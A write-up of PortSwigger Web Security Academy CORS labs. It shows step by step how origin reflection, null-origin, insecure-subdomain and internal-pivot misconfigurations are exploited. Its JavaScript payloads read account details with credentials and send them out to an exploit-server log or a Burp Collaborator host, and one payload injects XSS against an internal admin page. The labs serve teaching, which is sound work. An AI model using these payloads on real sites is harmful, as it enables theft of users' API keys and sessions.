PortSwigger Writeup.
Note
I’ll explain what Cross-origin resource sharing is, describe how vulnerabilities can be detected and exploited.
What is Cross-origin resource sharing ?
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain.
It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain based attacks,
if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as
cross-site request forgery (CSRF).
Lab: CORS vulnerability with basic origin reflection
Intercept the request after login to the lab with credentials
send the request to the repeater
to test CORS we will add
origin: H3X0S3.com
fine there is a CORS bug let’s try to exploit it to gain API Key of the victim.
1 | |
to exploit the bug
go to exploit the server
in Body: put the code of exploitation and store it
then deliver exploit to the victim then access log
decode it
"GET /log?key={ "username": "administrator", "email": "", "apikey":"7nA1VcyXtReSvhq6jgiUpoavFkagFoYx", "sessions": [ "wPVZ8dWDpUjpjInTmyry7suNvonCxJlv" ]} HTTP/1.1" 200 "User-Agent: Chrome/495672"
Labe Solved
Lab: CORS vulnerability with trusted null origin
Intercept the request after login to lab with credentials.
Steps
send the request to the repeater to test CORS we will add origin: H3X0S3.com
we get 500 Internal Server Error ok.
Let’s tryOrigin: null
the “null” origin is reflected in the Access-Control-Allow-Origin header, so to exploit this bug we need to generate a null origin request so we will
use an iframe sandbox.
1
2
3
4
5
6
7
8
9
10
11<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://ac2a1f601e8f3543806a2278000d00bf.web-security-academy.net//accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-aca81f7b1eb4351d80cd22c901ca00b0.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
go to exploit server, in Body: put the code of exploitation and store it
view the exploit
Delever exploit to victim. Access log and search about the key
let’s decode it
1
2
3
4
5
6
7
8 /log?key={
"username": "wiener",
"email": "",
"apikey": "wCOeetn12uCexWQylzhQXy5Y1dV2elvs",
"sessions": [
"UJsJdrc0JeCEeF6P4IcHI80Gbfq6YFIZ"
]
}
Labe Solved
Lab: CORS vulnerability with trusted insecure protocols
After login to the lab and intercept the request then send it to the repeater
lets to inject
origin: H3X0S3.com
we get 500 Internal Server Errororigin: null
we get 500 Internal Server Error. Now we need to try to inject with a subdomain but before injecting with subdomain we should find a bug on the subdomain to allow us to inject JavaScript code.
let’s open any product and check the productid
stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=1&storeId=1 ok it is a subdomain stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=1&storeId=1
let’s go to exploit server
1
2
3 <script>
document.location="http://stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=2<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-aca21fea1ed2219780872f2801c100a0.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
in Body: put the code of exploitation and store it
view the exploit
Delever exploit to victim.
Access log and search about the key
let’s decode it
/log?key={ "username": "wiener", "email": "", "apikey": "otqfh3jTIGqErn4I8ib7VuCUlKysIHsM", "sessions": [ "rN2NxUM9pl5Pv8V0Eai8TZAPjjuVwN0s" ]}
we can do this attack withot injection js code but we need to do MIM attack to redirect the victime to
Labe Solved
Lab: CORS vulnerability with internal network pivot attack
After access the lab if we try to log in with any username and password we get"Internal Server Error" .
Try to inject
origin: H3X0S3.comorigin: null
origin: subdomain.ac391f1e1e70e8b780907729007f003c.web-security-academy.net
there are no reflection headers on the response
ok
let’s try to scan the local network & now the local IP with 8080 port.
we will use burp collaborator to recive the respone.
1 | |
Put the code on the exploit server then store it and deliver exploit to victim
see our burp collaborator
we get the privet IP
192.168.0.250:8080
we will use the 192.168.0.250:8080 as a proxy to find a xss on intern network and recive the response on burpcollaborator [blind ssrf].
Now we try to know the username
clean the code from body and put this code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><img src='+collaboratorURL+'?H3X0S3forXSS=0>');
}
))
}
fetchUrl("http://192.168.0.89:8080", "http://0klpcpmyumttuob8cbetz6ptkkqbe0.burpcollaborator.net");
</script>
And repeat the steps
Repeat the steps
1 | |
Look at the Reuest to Burp Collaborator
1 | |
let’s decode it
1 | |
If you look there is a button to delete user
Now we need to delete carlos by injecting an iframe pointing to the /admin page
1 | |
After press deliver exploit victim. done carlose user is deleted
Lab solved
